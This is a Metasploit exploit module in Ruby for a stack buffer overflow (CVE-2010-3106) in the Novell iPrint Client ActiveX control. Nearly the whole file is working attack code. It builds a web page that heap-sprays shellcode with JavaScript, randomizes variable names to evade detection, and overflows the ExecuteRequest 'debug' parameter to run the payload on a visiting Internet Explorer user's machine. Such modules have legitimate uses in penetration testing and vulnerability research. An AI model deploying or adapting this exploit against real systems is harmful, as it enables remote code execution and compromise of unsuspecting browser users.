##
# novelliprint_executerequest_dbg.rb
#
# Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
#  - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.3.2.0 and 5.4.0.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
#  - CVE-2010-3106
#  - OSVDB 66960
#  - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs
#  - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
#  - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
#  - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell iPrint Client ActiveX Control debug Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.
					When sending an overly long string to the 'debug' parameter in ExecuteRequest() 
					property of ienipp.ocx an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Trancer <mtrancer[at]gmail.com' ],
			'Version'        => '$Revision:$',
			'References'     =>
				[
					[ 'CVE', '2010-3106' ],
					[ 'OSVDB', '66960'],
					[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ],	# Aaron Portnoy, TippingPoint DVLabs
					[ 'URL', 'http://www.exploit-db.com/exploits/15001/' ],				# MOAUB #14
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ]
				],
			'DisclosureDate' => 'Aug 04 2010',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		
		# Setup exploit buffers
		nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
		ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
		blocksize = 0x40000
		fillto    = 500 
		offset 	  = target['Offset']
		
		# ActiveX parameters
		clsid 	= "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
		op		= "op-client-interface-version"
		dbg 	= "debug="

		# Randomize the javascript variable names
		ienipp       = rand_text_alpha(rand(100) + 1)
		j_shellcode  = rand_text_alpha(rand(100) + 1)
		j_nops       = rand_text_alpha(rand(100) + 1)
		j_ret        = rand_text_alpha(rand(100) + 1)
		j_headersize = rand_text_alpha(rand(100) + 1)
		j_slackspace = rand_text_alpha(rand(100) + 1)
		j_fillblock  = rand_text_alpha(rand(100) + 1)
		j_block      = rand_text_alpha(rand(100) + 1)
		j_memory     = rand_text_alpha(rand(100) + 1)
		j_op	     = rand_text_alpha(rand(100) + 1)
		j_dbg	     = rand_text_alpha(rand(100) + 1)
		j_counter    = rand_text_alpha(rand(30) + 2)

		html = %Q|<html> 
<object classid='clsid:#{clsid}' id='#{ienipp}'></object>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) { 
	#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}

var #{j_ret} = '';
for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) { 
	#{j_ret} += unescape('#{ret}');
}
#{j_op} = "#{op}";  
#{j_dbg} = "#{dbg}"; 
#{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret});  
</script> 
</html>|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response(cli, html, { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

end